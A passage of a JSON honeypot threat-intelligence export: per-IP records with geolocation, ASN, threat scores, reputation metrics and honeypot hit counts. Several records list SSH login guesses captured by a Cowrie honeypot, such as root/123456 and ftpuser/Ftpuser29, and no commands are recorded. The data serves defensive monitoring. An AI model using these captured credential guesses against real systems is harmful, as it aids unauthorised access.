        "frequency": 30,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 2116,
        "days_active_30d": 20,
        "ports_targeted_30d": 328,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T00:08:31+00:00",
        "last_seen_30d": "2026-04-20T08:50:48.694000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1620,
        "Honeytrap": 418,
        "Mailoney": 24,
        "Cowrie": 15,
        "Dionaea": 12,
        "Miniprint": 8,
        "ConPot": 6,
        "Adbhoney": 2,
        "Ciscoasa": 2,
        "CitrixHoneypot": 2,
        "ElasticPot": 2,
        "Honeyaml": 2,
        "Tanner": 2,
        "Ipphoney": 1
      }
    },
    "139.59.245.108": {
      "attack_count": 12,
      "first_seen": "2026-04-01T18:44:12.089Z",
      "last_seen": "2026-04-09T08:41:38.685Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 151731,
        "days_active_30d": 9,
        "ports_targeted_30d": 65648,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-01T18:44:11+00:00",
        "last_seen_30d": "2026-04-09T08:52:25.146000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130098,
        "Honeytrap": 21582,
        "Cowrie": 12,
        "ConPot": 10,
        "Dionaea": 10,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "38.123.94.210": {
      "attack_count": 12,
      "first_seen": "2026-04-05T01:11:13.681Z",
      "last_seen": "2026-04-23T16:08:22.657Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "South Bend",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 65.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.0,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 19,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-05T01:11:13.617000+00:00",
        "last_seen_30d": "2026-04-23T16:13:24.351000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Honeytrap": 42,
        "Dionaea": 21,
        "Cowrie": 12,
        "Miniprint": 9,
        "Sentrypeer": 3
      }
    },
    "176.65.148.203": {
      "attack_count": 11,
      "first_seen": "2026-04-18T14:40:23.615Z",
      "last_seen": "2026-04-18T14:40:29.775Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T21:35:10.090000+00:00",
        "last_seen_30d": "2026-04-19T18:59:28.978000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "122.97.214.197": {
      "attack_count": 10,
      "first_seen": "2026-04-23T20:52:11.120Z",
      "last_seen": "2026-04-23T20:53:57.554Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T20:52:11.120000+00:00",
        "last_seen_30d": "2026-04-23T20:54:58.144000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "203.55.131.3": {
      "attack_count": 9,
      "first_seen": "2026-04-29T08:53:39.057Z",
      "last_seen": "2026-04-29T09:25:11.112Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 472,
        "days_active_30d": 29,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T04:56:56.560000+00:00",
        "last_seen_30d": "2026-04-29T09:26:18.411000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 335,
        "Honeytrap": 79,
        "Miniprint": 20,
        "Cowrie": 9,
        "ConPot": 6,
        "Redishoneypot": 6,
        "Ciscoasa": 3,
        "Dionaea": 3,
        "CitrixHoneypot": 2,
        "H0neytr4p": 2,
        "Honeyaml": 2,
        "Ipphoney": 2,
        "Tanner": 2,
        "Sentrypeer": 1
      }
    },
    "117.50.185.190": {
      "attack_count": 7,
      "first_seen": "2026-04-26T18:26:18.646Z",
      "last_seen": "2026-04-26T18:28:19.177Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:26:18.646000+00:00",
        "last_seen_30d": "2026-04-26T18:38:27.562000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "135.136.19.155": {
      "attack_count": 7,
      "first_seen": "2026-04-29T07:44:25.020Z",
      "last_seen": "2026-04-29T07:54:32.502Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "rakeuser"
      ],
      "passwords_attempted": [
        "maintmode42_sk"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:44:25.020000+00:00",
        "last_seen_30d": "2026-04-29T07:55:33.821000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "20.121.46.95": {
      "attack_count": 7,
      "first_seen": "2026-04-11T20:32:45.426Z",
      "last_seen": "2026-04-11T20:32:55.498Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T07:00:00.591000+00:00",
        "last_seen_30d": "2026-04-26T22:07:16.039000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "36.35.165.203": {
      "attack_count": 7,
      "first_seen": "2026-04-22T16:16:05.733Z",
      "last_seen": "2026-04-22T16:16:07.876Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "7ujMko0vizxv"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T16:16:05.733000+00:00",
        "last_seen_30d": "2026-04-22T16:17:17.055000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 3
      }
    },
    "59.126.193.69": {
      "attack_count": 6,
      "first_seen": "2026-04-12T08:45:32.478Z",
      "last_seen": "2026-04-12T11:29:15.026Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T07:55:29.734000+00:00",
        "last_seen_30d": "2026-04-12T12:02:06.133000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 6
      }
    },
    "66.132.172.201": {
      "attack_count": 6,
      "first_seen": "2026-04-23T19:34:50.673Z",
      "last_seen": "2026-04-23T19:35:34.191Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 30,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T09:23:14+00:00",
        "last_seen_30d": "2026-04-30T23:36:17.384000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 135,
        "Honeytrap": 51,
        "ElasticPot": 12,
        "Cowrie": 6,
        "Miniprint": 6,
        "Honeyaml": 3
      }
    },
    "87.236.176.210": {
      "attack_count": 6,
      "first_seen": "2026-04-18T03:46:37.765Z",
      "last_seen": "2026-04-18T03:46:41.532Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T15:43:52.168000+00:00",
        "last_seen_30d": "2026-04-24T16:44:02.333000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 6
      }
    },
    "161.35.102.123": {
      "attack_count": 5,
      "first_seen": "2026-04-15T16:48:23.849Z",
      "last_seen": "2026-04-15T16:48:29.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T15:51:23.211000+00:00",
        "last_seen_30d": "2026-04-15T16:49:38.794000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "27.128.170.160": {
      "attack_count": 5,
      "first_seen": "2026-04-19T14:56:47.398Z",
      "last_seen": "2026-04-19T14:56:50.387Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "qweasdzxc1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T14:56:47.398000+00:00",
        "last_seen_30d": "2026-04-19T14:57:56.240000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "47.91.30.153": {
      "attack_count": 5,
      "first_seen": "2026-04-13T10:24:29.665Z",
      "last_seen": "2026-04-13T10:24:31.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ftpuser"
      ],
      "passwords_attempted": [
        "Ftpuser29"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T10:24:29.665000+00:00",
        "last_seen_30d": "2026-04-13T10:25:40.539000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "64.62.197.122": {
      "attack_count": 5,
      "first_seen": "2026-04-26T12:31:36.166Z",
      "last_seen": "2026-04-30T09:03:10.382Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 275,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T02:24:29+00:00",
        "last_seen_30d": "2026-04-30T15:22:21.733000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Honeytrap": 87,
        "H0neytr4p": 8,
        "ConPot": 5,
        "Cowrie": 5,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1
      }
    },
    "104.248.23.98": {
      "attack_count": 4,
      "first_seen": "2026-04-01T05:31:34.059Z",
      "last_seen": "2026-04-01T05:31:44.443Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 2.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 3,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:47:14+00:00",
        "last_seen_30d": "2026-04-03T21:35:28.765000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 10,
        "Cowrie": 4
      }
    },
    "121.147.220.27": {
      "attack_count": 4,
      "first_seen": "2026-04-17T09:45:53.369Z",
      "last_seen": "2026-04-19T18:18:56.188Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T09:45:53.369000+00:00",
        "last_seen_30d": "2026-04-19T18:20:05.145000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "147.185.132.207": {
      "attack_count": 4,
      "first_seen": "2026-04-10T10:33:50.460Z",
      "last_seen": "2026-04-10T10:33:54.211Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T07:33:58+00:00",
        "last_seen_30d": "2026-04-29T01:11:14.724000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 32,
        "ConPot": 6,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "Honeyaml": 1
      }
    },
    "151.244.155.228": {
      "attack_count": 4,
      "first_seen": "2026-04-26T18:21:14.217Z",
      "last_seen": "2026-04-26T18:25:16.687Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Mosul",
      "asn": 208324,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:21:14.217000+00:00",
        "last_seen_30d": "2026-04-26T18:36:05.187000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "187.108.231.194": {
      "attack_count": 4,
      "first_seen": "2026-04-29T19:44:36.373Z",
      "last_seen": "2026-04-29T19:46:37.230Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 28124,
      "as_org": "UFINET BRASIL S.A.",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T19:44:36.373000+00:00",
        "last_seen_30d": "2026-04-29T19:57:16.463000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "193.34.173.69": {
      "attack_count": 4,
      "first_seen": "2026-04-30T14:45:28.433Z",
      "last_seen": "2026-04-30T14:49:42.131Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Uzhhorod",
      "asn": 41820,
      "as_org": "New Information Systems PP",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:45:28.433000+00:00",
        "last_seen_30d": "2026-04-30T14:51:04.441000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "205.210.31.22": {
      "attack_count": 4,
      "first_seen": "2026-04-17T04:34:50.249Z",
      "last_seen": "2026-04-17T04:34:54.885Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T20:02:32+00:00",
        "last_seen_30d": "2026-04-29T13:09:05.465000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 12,
        "Cowrie": 4,
        "ConPot": 2
      }
    },
    "45.156.129.63": {
      "attack_count": 4,
      "first_seen": "2026-04-30T03:51:33.263Z",
      "last_seen": "2026-04-30T03:52:04.204Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 79.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.6,
        "persistence": 24.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 29,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T07:41:01+00:00",
        "last_seen_30d": "2026-04-30T03:53:05.872000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "54.87.12.131": {
      "attack_count": 4,
      "first_seen": "2026-04-14T00:58:25.337Z",
      "last_seen": "2026-04-14T00:58:30.045Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 39.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-13T01:01:28+00:00",
        "last_seen_30d": "2026-04-27T00:54:32.747000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "66.132.195.31": {
      "attack_count": 4,
      "first_seen": "2026-04-25T01:34:41.784Z",
      "last_seen": "2026-04-25T01:34:57.238Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
